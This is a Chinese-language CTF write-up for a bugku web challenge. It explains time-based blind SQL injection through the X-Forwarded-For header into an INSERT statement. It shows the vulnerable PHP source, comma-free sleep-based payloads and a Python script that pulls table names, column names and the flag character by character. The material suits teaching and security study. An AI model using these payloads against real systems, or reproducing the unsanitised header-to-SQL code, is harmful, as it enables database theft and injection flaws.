INSERT INTO函数基于时间的盲注

0x00 原理

INSERT INTO函数语法:
    INSERT INTO table_name(col_name1, col_name2,...) VALUES(value1, value2,...)
也可在VALUES()中插入子语句,如下示例:

image1

    即INSERT INTO users(username, password) VALUES( 'guest2',(select 'helloword'))中SELECT子语句先
执行,其效果和 INSERT INTO users(username, password) VALUES( 'guest2','helloword') 一样。
    基于此,当VALUES()中参数可控时,就可以实现注入。

0x01 例题

bugku中web题(ISNSERT INTO):http://123.206.87.240:8002/web15/
题目说明界面直接给出了源码,如下:
source.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
	$ip = '';
	if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	}
	else{
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	$ip_arr = explode(',', $ip);
	return $ip_arr[0];
}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
    通过控制请求头中的X-Forwarded-For参数我们可以将任意ip通过26行的INSERT INTO函数写入数据库中,另外源
码第11、12行,起到了过滤逗号的作用,注入时需要避免使用逗号;最后就是题目没有sql语句执行情况的相关返回值
所以选取基于时间的盲注。

1
payload1 = "1' and (case when length((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()))=" + str(i) + " then sleep(3) end) and '1"

    不断改变payload1中 i 的值,当页面响应延迟时即可确定group_concat(distinct table_name)的长度。
1
payload2 = "1' and (case when ascii(mid((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()) from " + str(i) + " for 1))=" + str(asciinum) + " then sleep(3) end) and '1"
    这里使用mid(str from start for length)的方式来截取group_concat(distinct table_name)中的字符,避
免了逗号。依次从第i个字符开始截取,与asciinum在[44,123]范围内的字符对比,当页面响应延迟时,即可确定当前
位置字符。
    按着这两步的思路依次获取表名和字段名以及最后的字段值即可。为节省时间,也可以跳过判断长度的步骤。
    解题脚本如下:
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python

if __name__ == '__main__':
    url = 'http://123.206.87.240:8002/web15/'
    length = 0

    #get length
    for i in range(1, 100):
        # get the length of group_concat(distinct table_name) in db
        # payload1 = "1' and (case when length((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()))=" + str(i) + " then sleep(3) end) and '1"

       	# get the length of group_concat(distinct column_name) in flag table
        # payload3 = "1' and (case when length((select group_concat(distinct column_name) from information_schema.columns where table_name='flag'))=" + str(i) + " then sleep(3) end) and '1"
        	
        # get the length of flag in flag table
        payload5 = "1' and (case when length((select flag from flag))=" + str(i) + " then sleep(3) end) and '1"

        headers = {
            'x-forwarded-for': payload5
        }
        try:
            requests.get(url, headers=headers, timeout=2)
        except requests.exceptions.ReadTimeout:
            length = i
            break

    # get contents
    for i in range(1, length+1):  
        for asciinum in range(44,123):
        	# get the content of group_concat(distinct table_name) in db
            # payload2 = "1' and (case when ascii(mid((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()) from " + str(i) + " for 1))=" + str(asciinum) + " then sleep(3) end) and '1"
            
            # get the content of gropu_concat(distinct column_name) in flag table
            # payload4 = "1' and (case when ascii(mid((select group_concat(distinct column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1))="+ str(asciinum) +" then sleep(3) end) and '1"

            # get the content of flag in flag table
            payload6 = "1' and (case when ascii(mid((select flag from flag) from " + str(i) + " for 1))="+ str(asciinum) +" then sleep(3) end) and '1"

            headers = {
            'x-forwarded-for': payload6
            }
            try:
                requests.get(url, headers=headers, timeout=2)
            except requests.exceptions.ReadTimeout:
                print(chr(asciinum), end='')
                break